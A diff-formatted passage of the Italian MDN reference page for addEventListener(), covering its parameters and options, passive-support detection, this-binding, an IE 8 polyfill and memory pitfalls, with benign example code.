+ <dd>Una stringa sensibile al maiuscolo/minuscolo che rappresenta il <a href="/it/docs/Web/Events">tipo di evento</a> da assegnare.</dd>
+ <dt><code>listener</code></dt>
+ <dd>L'oggetto che riceve una notifica (un oggetto che implementa l'interfaccia {{domxref("Event")}}) quando si verifica un evento del tipo specificato. Questo deve essere un oggetto che implementa l'interfaccia {{domxref("EventListener")}}, o una <a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Guida/Functions">funzione</a>. Vedi {{anch("Il callback del listener di eventi")}} per i dettagli sul callback stesso.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Un oggetto opzioni che specifica le caratteristiche del listener di eventi. Le opzioni disponibili sono:
+ <ul>
+  <li><code>capture</code>: Un {{jsxref("Boolean")}} che indica che eventi di questo tipo verranno inviati al <code>listener</code> registrato prima di essere inviati a qualsiasi <code>EventTarget</code> sotto di esso nell'albero del DOM.</li>
+  <li><code>once</code>: Un {{jsxref("Boolean")}} che indica che il <code>listener</code> dovrebbe essere invocato al massimo una volta dopo essere stato aggiunto. Se ritorna <code>true</code>, il <code>listener</code> verrebbe automaticamente rimosso quando invocato.</li>
+  <li><code>passive</code>: Un {{jsxref("Boolean")}} che, se <code>true</code>, indica che la funzione specificata da <code>listener</code> non chiamerà mai {{domxref("Event.preventDefault", "preventDefault()")}}. Se un listener passivo chiama <code>preventDefault()</code>, l'user agent non farà altro che generare un avviso nella console. Vedi {{anch("Miglioramento delle prestazioni di scorrimento con i listeners passivi")}} per saperne di più.</li>
+  <li>{{non-standard_inline}} <code>mozSystemGroup</code>: Un {{jsxref("Boolean")}} che indica che l'ascoltatore deve essere aggiunto al gruppo di sistema. Disponibile solo nel codice in esecuzione in XBL o nel {{glossary("chrome")}} del browser Firefox.</li>
+ </ul>
+ </dd>
+ <dt><code>useCapture</code> {{optional_inline}}</dt>
+ <dd>Un {{jsxref("Boolean")}} che indica se eventi di questo tipo verranno inviati al <code>listener</code> registrato <em>prima</em> di essere inviati a qualsiasi <code>EventTarget</code> sotto di esso nell'albero del DOM. Gli eventi che stanno ribollendo verso l'alto attraverso l'albero non innescheranno un ascoltatore designato ad usare il capturing. Il bubbling e la cattura degli eventi sono due modi di propagare gli eventi che si verificano in un elemento che è annidato in un altro elemento, quando entrambi gli elementi hanno registrato un handle per quell'evento. La modalità di propagazione dell'evento determina l'ordine in cui gli elementi ricevono l'evento. Vedi <a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Events</a> e <a href="http://www.quirksmode.org/js/events_order.html#link4">JavaScript Event order</a> per una spiegazione dettagliata. Se non specificato, <code>useCapture</code> di default è <code>false</code>.</dd>
+ <dd>
+ <div class="note"><strong>Note:</strong> Per gli ascoltatori di eventi collegati al target dell'evento, l'evento si trova nella fase target, piuttosto che nelle fasi di cattura e bubbling. Gli eventi nella fase di destinazione attiveranno tutti gli ascoltatori di un elemento nell'ordine in cui sono stati registrati, indipendentemente dal parametro <code>useCapture</code>.</div>
+
+ <div class="note"><strong>Note:</strong> <code>useCapture</code> non è sempre stato opzionale. Idealmente, dovresti includerlo per la massima compatibilità con i browser.</div>
+ </dd>
+ <dt><code>wantsUntrusted</code> {{Non-standard_inline}}</dt>
+ <dd>Un parametro specifico per Firefox (Gecko). Se è <code>true</code>, il listener riceve eventi sintetici inviati dal contenuto web (il valore predefinito è <code>false</code> per il browser {{glossary("chrome")}} e <code>true</code> per le normali pagine Web). Questo parametro è utile per il codice trovato nei componenti aggiuntivi e anche per il browser stesso.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p><code>undefined</code></p>
+
+<h2 id="Note_di_utilizzo">Note di utilizzo</h2>
+
+<h3 id="Il_callback_del_listener_di_eventi">Il callback del listener di eventi</h3>
+
+<p>Il listener di eventi può essere specificato come funzione di callback o come oggetto che implementa {{domxref("EventListener")}}, il cui metodo {{domxref("EventListener.handleEvent", "handleEvent()")}} funge da funzione di callback.</p>
+
+<p>La stessa funzione di callback ha gli stessi parametri e il valore di ritorno del metodo <code>handleEvent()</code> cioè, il callback accetta un singolo parametro: un oggetto basato su {{domxref("Event")}} che descrive l'evento che si è verificato e non restituisce nulla.</p>
+
+<p>Ad esempio, un callback del gestore di eventi che può essere utilizzato per gestire entrambi gli eventi {{event("fullscreenchange")}} e {{event("fullscreenerror")}} potrebbe avere il seguente aspetto:</p>
+
+<pre class="brush: js">function eventHandler(event) {
+  if (event.type == 'fullscreenchange') {
+    /* gestire un interruttore a schermo intero */
+  } else /* fullscreenerror */ {
+    /* gestire un errore di commutazione a schermo intero */
+  }
+}</pre>
+
+<h3 id="Rilevamento_sicuro_del_supporto_opzionale">Rilevamento sicuro del supporto opzionale</h3>
+
+<p>Nelle versioni precedenti della specifica DOM, il terzo parametro di <code>addEventListener()</code> era un valore booleano che indicava se utilizzare o meno l'acquisizione. Nel corso del tempo, è diventato chiaro che erano necessarie più opzioni. Piuttosto che aggiungere altri parametri alla funzione (complicando enormemente le cose quando si tratta di valori opzionali), il terzo parametro è stato modificato in un oggetto che può contenere varie proprietà che definiscono i valori delle opzioni per configurare il processo di rimozione del listener di eventi.</p>
+
+<p>Poiché i browser più vecchi (così come alcuni browser non troppo vecchi) presuppongono ancora che il terzo parametro sia un booleano, è necessario creare il codice per gestire questo scenario in modo intelligente. Puoi farlo utilizzando il rilevamento delle funzioni per ciascuna delle opzioni che ti interessano.</p>
+
+<p>Ad esempio, se si desidera verificare l'opzione <code>passive</code>:</p>
+
+<pre class="brush: js">var passiveSupported = false;
+
+try {
+  var options = {
+    get passive() { // Questa funzione verrà chiamata quando il browser
+                    //     tenta di accedere alla proprietà passiva.
+      passiveSupported = true;
+    }
+  };
+
+  window.addEventListener("test", options, options);
+  window.removeEventListener("test", options, options);
+} catch(err) {
+  passiveSupported = false;
+}
+</pre>
+
+<p>Questo crea un oggetto <code>options</code> con una funzione getter per la proprietà <code>passive</code>; il getter imposta una flag, <code>passiveSupported</code>, è <code>true</code> se viene chiamato. Ciò significa che se il browser controlla il valore della proprietà <code>passive</code> sull'oggetto <code>options</code>, <code>passiveSupported</code> sarà impostato su <code>true</code>; altrimenti rimarrà <code>false</code>. Chiamiamo quindi <code>addEventListener()</code> per impostare un gestore di eventi falsi, specificando tali opzioni, in modo che le opzioni vengano controllate se il browser riconosce un oggetto come terzo parametro. Quindi, chiamiamo <code>removeEventListener()</code> per pulire dopo noi stessi. (Nota che <code>handleEvent()</code> viene ignorato sui listener di eventi che non vengono chiamati.)</p>
+
+<p>Puoi verificare se un'opzione è supportata in questo modo. Basta aggiungere un getter per quella opzione usando il codice simile a quello mostrato sopra.</p>
+
+<p>Quindi, quando vuoi creare un listener di eventi effettivo che utilizza le opzioni in questione, puoi fare qualcosa di simile a questo:</p>
+
+<pre class="brush: js">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported
+                               ? { passive: true } : false);</pre>
+
+<p>Qui stiamo aggiungendo un listener per l'evento {{event("mouseup")}} sull'elemento <code>someElement</code>. Per il terzo parametro, se <code>passiveSupported</code> è <code>true</code>, stiamo specificando un oggetto <code>options</code> con <code>passive</code> impostato su <code>true</code>; altrimenti, sappiamo che dobbiamo passare un booleano e passiamo <code>false</code> come valore del parametro <code>useCapture</code>.</p>
+
+<p>Se preferisci, puoi usare una libreria di terze parti come <a href="https://modernizr.com/docs">Modernizr</a> o <a href="https://github.com/rafrex/detect-it">Detect It</a> per fare questo test per te.</p>
+
+<p>È possibile ottenere ulteriori informazioni dall'articolo su <code><a href="https://github.com/WICG/EventListenerOptions/blob/gh-pages/explainer.md#feature-detection">EventListenerOptions</a></code> dal gruppo di <a href="https://wicg.github.io/admin/charter.html">Web Incubator Community</a>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Aggiungere_un_semplice_listener">Aggiungere un semplice listener</h3>
+
+<p>Questo esempio dimostra come utilizzare <code>addEventListener()</code> per controllare i click del mouse su un elemento.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table id="outside"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;one&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;two&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">// Funzione per modificare il contenuto di t2
+function modifyText() {
+  var t2 = document.getElementById("t2");
+  if (t2.firstChild.nodeValue == "three") {
+    t2.firstChild.nodeValue = "two";
+  } else {
+    t2.firstChild.nodeValue = "three";
+  }
+}
+
+// Aggiungere listener di eventi alla tabella
+var el = document.getElementById("outside");
+el.addEventListener("click", modifyText, false);
+</pre>
+
+<p>In questo codice, <code>modifyText()</code> è un listener per gli eventi <code>click</code> registrati usando <code>addEventListener()</code>. Un click in qualsiasi punto della tabella esegue il gestore ed esegue <code>modifyText()</code>.</p>
+
+<h4 id="Risultato">Risultato</h4>
+
+<p>{{EmbedLiveSample('Aggiungere_un_semplice_listener')}}</p>
+
+<h3 id="Listener_di_eventi_con_funzione_anonima">Listener di eventi con funzione anonima</h3>
+
+<p>Qui, daremo un'occhiata a come utilizzare una funzione anonima per passare parametri nel listener di eventi.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;table id="outside"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;one&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;two&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">// Funzione per modificare il contenuto di t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Funzione per aggiungere listener alla tabella
+var el = document.getElementById("outside");
+el.addEventListener("click", function(){modifyText("four")}, false);
+</pre>
+
+<p>Nota che il listener è una funzione anonima che incapsula codice che è quindi, a sua volta, in grado di inviare parametri alla funzione <code>modifyText()</code>, che è responsabile per rispondere effettivamente all'evento.</p>
+
+<h4 id="Risultato_2">Risultato</h4>
+
+<p>{{EmbedLiveSample('Listener_di_eventi_con_funzione_anonima')}}</p>
+
+<h3 id="Listener_di_eventi_con_una_funzione_a_freccia">Listener di eventi con una funzione a freccia</h3>
+
+<p>Questo esempio dimostra un semplice listener di eventi implementato utilizzando la notazione della funzione a freccia.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;table id="outside"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;one&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;two&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="JavaScript_3">JavaScript</h4>
+
+<pre class="brush: js">// Funzione per modificare il contenuto di t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Aggiungere un listener alla tabella con una funzione a freccia
+var el = document.getElementById("outside");
+el.addEventListener("click", () =&gt; { modifyText("four"); }, false);
+</pre>
+
+<h4 id="Risultato_3">Risultato</h4>
+
+<p>{{EmbedLiveSample('Listener_di_eventi_con_una_funzione_a_freccia')}}</p>
+
+<p>Si noti che, mentre le funzioni anonime e le frecce sono simili, hanno diversi collegamenti <code>this</code>. Mentre le funzioni anonime (e tutte le funzioni JavaScript tradizionali) creano i propri collegamenti <code>this</code>, le funzioni a freccia ereditano il vincolo <code>this</code> della funzione di contenimento.</p>
+
+<p>Ciò significa che le variabili e le costanti disponibili per la funzione di contenimento sono disponibili anche per il gestore di eventi quando si utilizza una funzione di freccia.</p>
+
+<h3 id="Esempio_di_utilizzo_delle_opzioni">Esempio di utilizzo delle opzioni</h3>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+    outer, once &amp; none-once
+    &lt;div class="middle" target="_blank"&gt;
+        middle, capture &amp; none-capture
+        &lt;a class="inner1" href="https://www.mozilla.org" target="_blank"&gt;
+            inner1, passive &amp; preventDefault(which is not allowed)
+        &lt;/a&gt;
+        &lt;a class="inner2" href="https://developer.mozilla.org/" target="_blank"&gt;
+            inner2, none-passive &amp; preventDefault(not open new page)
+        &lt;/a&gt;
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">    .outer, .middle, .inner1, .inner2 {
+        display:block;
+        width:520px;
+        padding:15px;
+        margin:15px;
+        text-decoration:none;
+    }
+    .outer{
+        border:1px solid red;
+        color:red;
+    }
+    .middle{
+        border:1px solid green;
+        color:green;
+        width:460px;
+    }
+    .inner1, .inner2{
+        border:1px solid purple;
+        color:purple;
+        width:400px;
+    }
+</pre>
+
+<h4 id="JavaScript_4">JavaScript</h4>
+
+<pre class="brush: js">    let outer  = document.getElementsByClassName('outer') [0];
+    let middle = document.getElementsByClassName('middle')[0];
+    let inner1 = document.getElementsByClassName('inner1')[0];
+    let inner2 = document.getElementsByClassName('inner2')[0];
+
+    let capture = {
+        capture : true
+    };
+    let noneCapture = {
+        capture : false
+    };
+    let once = {
+        once : true
+    };
+    let noneOnce = {
+        once : false
+    };
+    let passive = {
+        passive : true
+    };
+    let nonePassive = {
+        passive : false
+    };
+
+
+    outer.addEventListener('click', onceHandler, once);
+    outer.addEventListener('click', noneOnceHandler, noneOnce);
+    middle.addEventListener('click', captureHandler, capture);
+    middle.addEventListener('click', noneCaptureHandler, noneCapture);
+    inner1.addEventListener('click', passiveHandler, passive);
+    inner2.addEventListener('click', nonePassiveHandler, nonePassive);
+
+    function onceHandler(event) {
+        alert('outer, once');
+    }
+    function noneOnceHandler(event) {
+        alert('outer, none-once, default');
+    }
+    function captureHandler(event) {
+        //event.stopImmediatePropagation();
+        alert('middle, capture');
+    }
+    function noneCaptureHandler(event) {
+        alert('middle, none-capture, default');
+    }
+    function passiveHandler(event) {
+        // Unable to preventDefault inside passive event listener invocation.
+        event.preventDefault();
+        alert('inner1, passive, open new page');
+    }
+    function nonePassiveHandler(event) {
+        event.preventDefault();
+        //event.stopPropagation();
+        alert('inner2, none-passive, default, not open new page');
+    }
+</pre>
+
+<h4 id="Risultato_4">Risultato</h4>
+
+<p>Fai click rispettivamente sui contenitori esterni, centrali e interni per vedere come funzionano le opzioni.</p>
+
+<p>{{ EmbedLiveSample('Esempio_di_utilizzo_delle_opzioni', 600, 310, '', 'Web/API/EventTarget/addEventListener') }}</p>
+
+<p>Prima di utilizzare un particolare valore nell'oggetto <code>options</code> è una buona idea assicurarsi che il browser dell'utente lo supporti, poiché si tratta di un'aggiunta che non tutti i browser hanno supportato storicamente. Vedi {{anch("Rilevamento sicuro del supporto opzionale")}} per i dettagli.</p>
+
+<h2 id="Altre_note">Altre note</h2>
+
+<h3 id="Perchè_usare_addEventListener">Perchè usare <code>addEventListener</code>?</h3>
+
+<p><code>addEventListener()</code> è il modo per registrare un listener di eventi come specificato nel DOM W3C. I benefici sono i seguenti:</p>
+
+<ul>
+ <li>Permette di aggiungere più di un singolo gestore per un evento. Ciò è particolarmente utile per le librerie {{Glossary("AJAX")}} i moduli JavaScript o qualsiasi altro tipo di codice che deve funzionare bene con altre librerie / estensioni.</li>
+ <li>Ti dà il controllo più fine della fase quando l'ascoltatore è attivato (capturing vs. bubbling).</li>
+ <li>Funziona su qualsiasi elemento del DOM, non solo sugli elementi HTML.</li>
+</ul>
+
+<p>Il modo alternativo, <a href="#Il_modo_più_antico_per_registrare_i_listeners">più vecchio per registrare i listener</a>, è descritto di seguito.</p>
+
+<h3 id="Aggiunta_di_un_listener_durante_la_spedizione_dell'evento">Aggiunta di un listener durante la spedizione dell'evento</h3>
+
+<p>Se un {{domxref("EventListener")}} viene aggiunto ad un {{domxref("EventTarget")}} mentre sta elaborando un evento, quell'evento non attiva il listener. Tuttavia, lo stesso listener può essere attivato durante una fase successiva del flusso di eventi, come la fase di bubbling.</p>
+
+<h3 id="Più_listeners_identici">Più listeners identici</h3>
+
+<p>Se più <code>EventListener</code> indentici sono registrati sullo stesso <code>EventTarget</code> con gli stessi parametri, le istanze duplicate vengono scartate. Non causano l'<code>EventListener</code> da chiamare due volte e non devono essere rimossi manualmente con il metodo {{domxref("EventTarget.removeEventListener", "removeEventListener()")}}. Nota tuttavia che quando si utilizza una funzione anonima come gestore, tali listener NON saranno identici poiché le funzioni anonime non sono identiche anche se definite utilizzando il codice sorgente invariato SAME chiamato semplicemente ripetutamente, anche se in un ciclo. Tuttavia, definire ripetutamente la stessa funzione denominata in questi casi può essere più problematico. (vedi <a href="#Problemi_di_memoria">Problemi di memoria</a> di seguito.)</p>
+
+<h3 id="Il_valore_di_this_all'interno_del_gestore">Il valore di <code>this</code> all'interno del gestore</h3>
+
+<p>È spesso preferibile fare riferimento all'elemento su cui è stato attivato il gestore eventi, ad esempio quando si utilizza un gestore generico per un insieme di elementi simili.</p>
+
+<p>Se si collega un handler ad un elemento utilizzando <code>addEventListener()</code>, il valore di <code><a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Operators/this">this</a></code> all'interno del gestore è un riferimento all'elemento. È uguale al valore della proprietà <code>currentTarget</code> dell'argomento evento che viene passato al gestore.</p>
+
+<pre class="brush: js">my_element.addEventListener('click', function (e) {
+  console.log(this.className)           // registra il className di my_element
+  console.log(e.currentTarget === this) // ritorna `true`
+})
+</pre>
+
+<p>Come promemoria, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions#No_separate_this">le funzioni freccia non hanno il loro <code>this</code> contesto</a>.</p>
+
+<pre class="brush: js">my_element.addEventListener('click', (e) =&gt; {
+  console.log(this.className)           // WARNING: `this` is not `my_element`
+  console.log(e.currentTarget === this) // logs `false`
+})</pre>
+
+<p>Se un gestore di eventi (ad esempio, {{domxref("Element.onclick", "onclick")}}) è specificato su un elemento nel codice sorgente HTML, il codice JavaScript nel valore dell'attributo viene effettivamente racchiuso in una funzione di gestore che associa il valore di <code>this</code> in modo coerente con <code>addEventListener()</code>; un'occorrenza di <code>this</code> all'interno del codice rappresenta un riferimento all'elemento.</p>
+
+<pre class="brush: html">&lt;table id="my_table" onclick="console.log(this.id);"&gt;&lt;!-- `this` refers to the table; logs 'my_table' --&gt;
+  ...
+&lt;/table&gt;
+</pre>
+
+<p>Si noti che il valore di <code>this</code> all'interno di una funzione, chiamato dal codice nel valore dell'attributo, si comporta come per <a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Operators/this">regole standard</a>. Questo è mostrato nel seguente esempio:</p>
+
+<pre class="brush: html">&lt;script&gt;
+  function logID() { console.log(this.id); }
+&lt;/script&gt;
+&lt;table id="my_table" onclick="logID();"&gt;&lt;!-- when called, `this` will refer to the global object --&gt;
+  ...
+&lt;/table&gt;
+</pre>
+
+<p>Il valore di <code>this</code> all'interno di <code>logID()</code> è un riferimento all'oggetto globale {{domxref("Window")}} (o <code>undefined</code> nel caso della <a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>).</p>
+
+<h4 id="Specificare_this_usando_bind()">Specificare <code>this</code> usando <code>bind()</code></h4>
+
+<p>Il metodo <code><a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind()</a></code> consente di specificare il valore che dovrebbe essere usato come <code>this</code> per tutte le chiamate a una determinata funzione. Ciò ti consente di bypassare facilmente i problemi in cui non è chiaro quale sarà <code>this</code> a seconda del contesto in cui è stata chiamata la tua funzione. Nota, tuttavia, che è necessario mantenere un riferimento per l'ascoltatore in modo da poterlo rimuovere in seguito.</p>
+
+<p>Questo è un esempio con e senza <code>bind()</code>:</p>
+
+<pre class="brush: js">var Something = function(element) {
+  // |this| is a newly created object
+  this.name = 'Something Good';
+  this.onclick1 = function(event) {
+    console.log(this.name); // undefined, as |this| is the element
+  };
+  this.onclick2 = function(event) {
+    console.log(this.name); // 'Something Good', as |this| is bound to newly created object
+  };
+  element.addEventListener('click', this.onclick1, false);
+  element.addEventListener('click', this.onclick2.bind(this), false); // Trick
+}
+var s = new Something(document.body);
+</pre>
+
+<p>Un'altra soluzione sta utilizzando una funzione speciale chiamata <code>handleEvent()</code> per catturare qualsiasi evento:</p>
+
+<pre class="brush: js">var Something = function(element) {
+  // |this| is a newly created object
+  this.name = 'Something Good';
+  this.handleEvent = function(event) {
+    console.log(this.name); // 'Something Good', as this is bound to newly created object
+    switch(event.type) {
+      case 'click':
+        // some code here...
+        break;
+      case 'dblclick':
+        // some code here...
+        break;
+    }
+  };
+
+  // Note that the listeners in this case are |this|, not this.handleEvent
+  element.addEventListener('click', this, false);
+  element.addEventListener('dblclick', this, false);
+
+  // You can properly remove the listeners
+  element.removeEventListener('click', this, false);
+  element.removeEventListener('dblclick', this, false);
+}
+var s = new Something(document.body);
+</pre>
+
+<p>Un altro modo di gestire il riferimento a <em>this </em>è passare ad <code>EventListener</code> una funzione che chiama il metodo dell'oggetto che contiene i campi a cui è necessario accedere:</p>
+
+<pre class="brush: js">class SomeClass {
+
+  constructor() {
+    this.name = 'Something Good';
+  }
+
+  register() {
+    var that = this;
+    window.addEventListener('keydown', function(e) {return that.someMethod(e);});
+  }
+
+  someMethod(e) {
+    console.log(this.name);
+    switch(e.keyCode) {
+      case 5:
+        // some code here...
+        break;
+      case 6:
+        // some code here...
+        break;
+    }
+  }
+
+}
+
+var myObject = new SomeClass();
+myObject.register();</pre>
+
+<h3 id="Legacy_Internet_Explorer_e_attachEvent">Legacy Internet Explorer e attachEvent</h3>
+
+<p>Nelle versioni di Internet Explorer precedenti a IE 9, devi usare {{domxref("EventTarget.attachEvent", "attachEvent()")}}, piuttosto che lo standard <code>addEventListener()</code>. Per IE, modifichiamo l'esempio precedente per:</p>
+
+<pre class="brush: js">if (el.addEventListener) {
+  el.addEventListener('click', modifyText, false);
+} else if (el.attachEvent)  {
+  el.attachEvent('onclick', modifyText);
+}
+</pre>
+
+<p>C'è un inconveniente di <code>attachEvent()</code>: il valore di <code>this</code> sarà un riferimento all'oggetto <code>window</code>, invece dell'elemento su cui è stato chiamato.</p>
+
+<p>Il metodo <code>attachEvent()</code> potrebbe essere associato all'evento <code>onresize</code> per rilevare quando alcuni elementi di una pagina Web sono stati ridimensionati. L'evento proprietario <code>mselementresize</code> quando abbinato al metodo <code>addEventListener</code> di registrazione dei gestori di eventi, fornisce funzionalità simili a <code>onresize</code>, attivando quando alcuni elementi HTML vengono ridimensionati.</p>
+
+<h3 id="Compatibilità">Compatibilità</h3>
+
+<p>Puoi lavorare attorno a <code>addEventListener()</code>, <code>removeEventListener()</code>, {{domxref("Event.preventDefault()")}}, e {{domxref("Event.stopPropagation()")}} non supportati da Internet Explorer 8 di usando il seguente codice all'inizio del tuo script. Il codice supporta l'uso di <code>handleEvent()</code> e anche l'evento {{event("DOMContentLoaded")}}.</p>
+
+<div class="note">
+<p><strong>Note: </strong><code>useCapture</code> non è supportato, in quanto IE 8 non ha alcun metodo alternativo. Il seguente codice aggiunge solo il supporto per IE 8. Questo polyfill di IE 8 funziona solo in modalità standard: è richiesta una dichiarazione doctype.</p>
+</div>
+
+<pre class="brush: js">(function() {
+  if (!Event.prototype.preventDefault) {
+    Event.prototype.preventDefault=function() {
+      this.returnValue=false;
+    };
+  }
+  if (!Event.prototype.stopPropagation) {
+    Event.prototype.stopPropagation=function() {
+      this.cancelBubble=true;
+    };
+  }
+  if (!Element.prototype.addEventListener) {
+    var eventListeners=[];
+
+    var addEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var self=this;
+      var wrapper=function(e) {
+        e.target=e.srcElement;
+        e.currentTarget=self;
+        if (typeof listener.handleEvent != 'undefined') {
+          listener.handleEvent(e);
+        } else {
+          listener.call(self,e);
+        }
+      };
+      if (type=="DOMContentLoaded") {
+        var wrapper2=function(e) {
+          if (document.readyState=="complete") {
+            wrapper(e);
+          }
+        };
+        document.attachEvent("onreadystatechange",wrapper2);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper2});
+
+        if (document.readyState=="complete") {
+          var e=new Event();
+          e.srcElement=window;
+          wrapper2(e);
+        }
+      } else {
+        this.attachEvent("on"+type,wrapper);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper});
+      }
+    };
+    var removeEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var counter=0;
+      while (counter&lt;eventListeners.length) {
+        var eventListener=eventListeners[counter];
+        if (eventListener.object==this &amp;&amp; eventListener.type==type &amp;&amp; eventListener.listener==listener) {
+          if (type=="DOMContentLoaded") {
+            this.detachEvent("onreadystatechange",eventListener.wrapper);
+          } else {
+            this.detachEvent("on"+type,eventListener.wrapper);
+          }
+          eventListeners.splice(counter, 1);
+          break;
+        }
+        ++counter;
+      }
+    };
+    Element.prototype.addEventListener=addEventListener;
+    Element.prototype.removeEventListener=removeEventListener;
+    if (HTMLDocument) {
+      HTMLDocument.prototype.addEventListener=addEventListener;
+      HTMLDocument.prototype.removeEventListener=removeEventListener;
+    }
+    if (Window) {
+      Window.prototype.addEventListener=addEventListener;
+      Window.prototype.removeEventListener=removeEventListener;
+    }
+  }
+})();</pre>
+
+<h3 id="Il_modo_più_antico_per_registrare_i_listeners">Il modo più antico per registrare i listeners</h3>
+
+<p><code>addEventListener()</code> è stato introdotto con la specifica DOM 2 <a href="http://www.w3.org/TR/DOM-Level-2-Events">Prima di allora, gli ascoltatori di eventi sono stati registrati come segue</a>:</p>
+
+<pre class="brush: js">// Passando un riferimento alla funzione - non aggiungere "()" dopo di esso, che chiamerebbe la funzione!
+el.onclick = modifyText;
+
+// Using a function expression
+element.onclick = function() {
+  // ... function logic ...
+};
+</pre>
+
+<p>Questo metodo sostituisce il listener dell'evento <code>click</code> esistente sull'elemento se ce n'è uno. Altri eventi e gestori di eventi associati come <code>blur</code> (<code>onblur</code>) e <code>keypress</code> (<code>onkeypress</code>) si comportano in modo simile.</p>
+
+<p>Poiché era essenzialmente parte di {{glossary("DOM", "DOM 0")}}, questa tecnica per aggiungere listener di eventi è ampiamente supportata e non richiede uno speciale codice cross-browser. Viene normalmente utilizzato per registrare dinamicamente i listener di eventi a meno che non siano necessarie le funzionalità extra di <code>addEventListener()</code>.</p>
+
+<h3 id="Problemi_di_memoria">Problemi di memoria</h3>
+
+<pre class="brush: js">var els = document.getElementsByTagName('*');
+
+
+// Case 1
+for(var i = 0; i &lt; els.length; i++) {
+  els[i].addEventListener("click", function(e){/* do something */}, false);
+}
+
+
+// Case 2
+function processEvent(e) {
+  /* do something */
+}
+
+for(var i = 0; i &lt; els.length; i++){
+  els[i].addEventListener("click", processEvent, false);
+}
+</pre>
+
+<p>Nel primo caso sopra, viene creata una nuova funzione (anonima) di gestione con ogni iterazione del ciclo. Nel secondo caso, la stessa funzione dichiarata in precedenza viene utilizzata come gestore di eventi, il che si traduce in un minore consumo di memoria poiché è stata creata una sola funzione di gestore. Inoltre, nel primo caso, non è possibile chiamare {{domxref("EventTarget.removeEventListener", "removeEventListener()")}} perché non viene mantenuto alcun riferimento alla funzione anonima (o qui, non mantenuto a nessuna delle più funzioni anonime che il loop potrebbe creare.) Nel secondo caso, è possibile eseguire <code>myElement.removeEventListener("click", processEvent, false)</code> perchè <code>processEvent</code> è il riferimento alla funzione.</p>
+
+<p>In realtà, per quanto riguarda il consumo di memoria, la mancanza di mantenere un riferimento alla funzione non è il vero problema; piuttosto è la mancanza di mantenere un riferimento di funzione STATICO. In entrambi i casi di problemi di seguito, viene mantenuto un riferimento alla funzione, ma poiché viene ridefinito a ogni iterazione, non è statico. Nel terzo caso, il riferimento alla funzione anonima viene riassegnato ad ogni iterazione. Nel quarto caso, l'intera definizione di funzione è invariata, ma viene ancora ripetutamente definita come se fosse nuova (a meno che non fosse [[promoted]] dal compilatore) e quindi non sia statica. Pertanto, sebbene sembrino essere semplicemente [[Multiple identifier event listers]], in entrambi i casi ogni iterazione creerà invece un nuovo listener con il proprio riferimento univoco alla funzione del gestore. Tuttavia, poiché la definizione della funzione stessa non cambia, la STESSA funzione può ancora essere chiamata per ogni listener duplicato (specialmente se il codice viene ottimizzato).</p>
+
+<p>Anche in entrambi i casi, poiché il riferimento alla funzione è stato mantenuto ma ripetutamente ridefinito con ogni aggiunta, l'istruzione remove di sopra può ancora rimuovere un listener, ma ora solo l'ultimo aggiunto.</p>
+
+<pre class="brush: js">// Solo a scopo illustrativo: nota che "MISTAKE" di [j] per [i] causando così l'associazione di tutti gli eventi desiderati allo STESSO elemento
+
+// Case 3
+for (var i = 0, j = 0 ; i &lt; els.length ; i++) {
+  /* do lots of stuff with */
+  els[j].addEventListener("click", processEvent = function(e){/* do something */}, false);
+}
+
+// Case 4
+for (var i = 0, j = 0 ; i &lt; els.length ; i++) {
+  /* do lots of stuff with j */
+  function processEvent(e){/* do something */};
+  els[j].addEventListener("click", processEvent, false);
+}</pre>
+
+<h3 id="Miglioramento_delle_prestazioni_di_scorrimento_con_i_listeners_passivi">Miglioramento delle prestazioni di scorrimento con i listeners passivi</h3>
+
+<p>Secondo la specifica, il valore predefinito per l'opzione <code>passive</code> è sempre falso. Tuttavia, questo introduce il potenziale per gli ascoltatori di eventi che gestiscono determinati eventi di tocco (tra gli altri) per bloccare il thread principale del browser mentre sta tentando di gestire lo scrolling, con conseguente enorme riduzione delle prestazioni durante la gestione dello scorrimento.</p>
+
